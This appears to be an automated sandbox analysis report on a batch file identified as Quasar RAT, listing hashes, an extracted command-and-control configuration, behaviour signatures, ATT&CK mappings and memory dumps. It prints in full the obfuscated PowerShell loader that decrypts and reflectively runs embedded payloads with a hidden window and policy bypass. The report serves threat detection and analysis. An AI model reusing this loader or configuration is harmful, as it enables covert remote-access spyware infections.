quasar | f8310b9b5ae9c3f90b01d84c8022b6fdd7bbd29ba56a600d948be6eff75d426f

General

Target

Neo.bat
Size

272KB
MD5

c674b29c2da91c60f4221b2e87fe8c15
SHA1

3b79cb45ace0ddfedf1fa6f1b012321d830bf94f
SHA256

f8310b9b5ae9c3f90b01d84c8022b6fdd7bbd29ba56a600d948be6eff75d426f
SHA512

4f1c04ca8e4b0a2fd42a548245f49170ec65857098ac0f9bcebb96e10e19423f3a1c361c0ef0e5b9b1578d481342edcaca71c7a5846d1cd803db4868705dbb1b
SSDEEP

6144:PX3bTXRS0eSuT+pRHttyzLOh8cU/rzckvlfFPtoqNwRUo:fPBmSuWXtyziacUDzNfPtoUC

Score

10^/10

quasar slave execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.1.0

Botnet

Slave

C2

runderscore00-42512.portmap.io:42512

Mutex

QSR_MUTEX_aYgVTolyJfnSo2kPQj

Attributes

encryption_key
PK7SpR1WESSqHBwmTfVi
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5064-24-0x0000000007B90000-0x0000000007BEE000-memory.dmp	family_quasar

Blocklisted process makes network request 24 IoCs

flow	pid	Process
27	5064	powershell.exe
29	5064	powershell.exe
37	5064	powershell.exe
39	5064	powershell.exe
40	5064	powershell.exe
47	5064	powershell.exe
55	5064	powershell.exe
56	5064	powershell.exe
57	5064	powershell.exe
61	5064	powershell.exe
64	5064	powershell.exe
69	5064	powershell.exe
70	5064	powershell.exe
71	5064	powershell.exe
72	5064	powershell.exe
75	5064	powershell.exe
80	5064	powershell.exe
87	5064	powershell.exe
92	5064	powershell.exe
94	5064	powershell.exe
98	5064	powershell.exe
99	5064	powershell.exe
100	5064	powershell.exe
101	5064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5064	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5064	powershell.exe
5064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5064	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 5064	1044	cmd.exe	94
PID 1044 wrote to memory of 5064	1044	cmd.exe	94
PID 1044 wrote to memory of 5064	1044	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cQOtDanpy2r1fIq2RmiAP3pi2F+wAyCLQ56qZLg4djg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbayyMB6uwbPJLlahgTXHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gWazs=New-Object System.IO.MemoryStream(,$param_var); $Cqmzr=New-Object System.IO.MemoryStream; $aiCtn=New-Object System.IO.Compression.GZipStream($gWazs, [IO.Compression.CompressionMode]::Decompress); $aiCtn.CopyTo($Cqmzr); $aiCtn.Dispose(); $gWazs.Dispose(); $Cqmzr.Dispose(); $Cqmzr.ToArray();}function execute_function($param_var,$param2_var){ $DGfYx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GbNUb=$DGfYx.EntryPoint; $GbNUb.Invoke($null, $param2_var);}$IuUoW = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $IuUoW;$RQVpb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IuUoW).Split([Environment]::NewLine);foreach ($ykdlx in $RQVpb) { if ($ykdlx.StartsWith(':: ')) { $fedhE=$ykdlx.Substring(3); break; }}$payloads_var=[string[]]$fedhE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4344,i,6041070687820623968,3004230300437737550,262144 --variations-seed-version --mojo-platform-channel-handle=1324 /prefetch:8
1⤵
PID:1588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_egynhilx.2xe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5064-20-0x0000000006CB0000-0x0000000006CCA000-memory.dmp

Filesize
104KB

Download
memory/5064-31-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/5064-3-0x00000000058F0000-0x0000000005F18000-memory.dmp

Filesize
6.2MB

Download
memory/5064-4-0x00000000060D0000-0x00000000060F2000-memory.dmp

Filesize
136KB

Download
memory/5064-5-0x0000000006170000-0x00000000061D6000-memory.dmp

Filesize
408KB

Download
memory/5064-6-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/5064-1-0x0000000005280000-0x00000000052B6000-memory.dmp

Filesize
216KB

Download
memory/5064-12-0x0000000006250000-0x00000000065A4000-memory.dmp

Filesize
3.3MB

Download
memory/5064-17-0x0000000006750000-0x000000000676E000-memory.dmp

Filesize
120KB

Download
memory/5064-18-0x0000000006CD0000-0x0000000006D1C000-memory.dmp

Filesize
304KB

Download
memory/5064-19-0x0000000007F80000-0x00000000085FA000-memory.dmp

Filesize
6.5MB

Download
memory/5064-0-0x00000000751EE000-0x00000000751EF000-memory.dmp

Filesize
4KB

Download
memory/5064-2-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/5064-23-0x0000000005590000-0x00000000055C4000-memory.dmp

Filesize
208KB

Download
memory/5064-21-0x0000000007900000-0x0000000007908000-memory.dmp

Filesize
32KB

Download
memory/5064-24-0x0000000007B90000-0x0000000007BEE000-memory.dmp

Filesize
376KB

Download
memory/5064-25-0x0000000008BB0000-0x0000000009154000-memory.dmp

Filesize
5.6MB

Download
memory/5064-26-0x0000000007CD0000-0x0000000007D62000-memory.dmp

Filesize
584KB

Download
memory/5064-27-0x0000000007C60000-0x0000000007C72000-memory.dmp

Filesize
72KB

Download
memory/5064-28-0x0000000008700000-0x000000000873C000-memory.dmp

Filesize
240KB

Download
memory/5064-30-0x0000000008820000-0x000000000882A000-memory.dmp

Filesize
40KB

Download
memory/5064-22-0x00000000079F0000-0x0000000007A8C000-memory.dmp

Filesize
624KB

Download
memory/5064-33-0x00000000751EE000-0x00000000751EF000-memory.dmp

Filesize
4KB

Download
memory/5064-34-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download
memory/5064-35-0x00000000751E0000-0x0000000075990000-memory.dmp

Filesize
7.7MB

Download

Analysis

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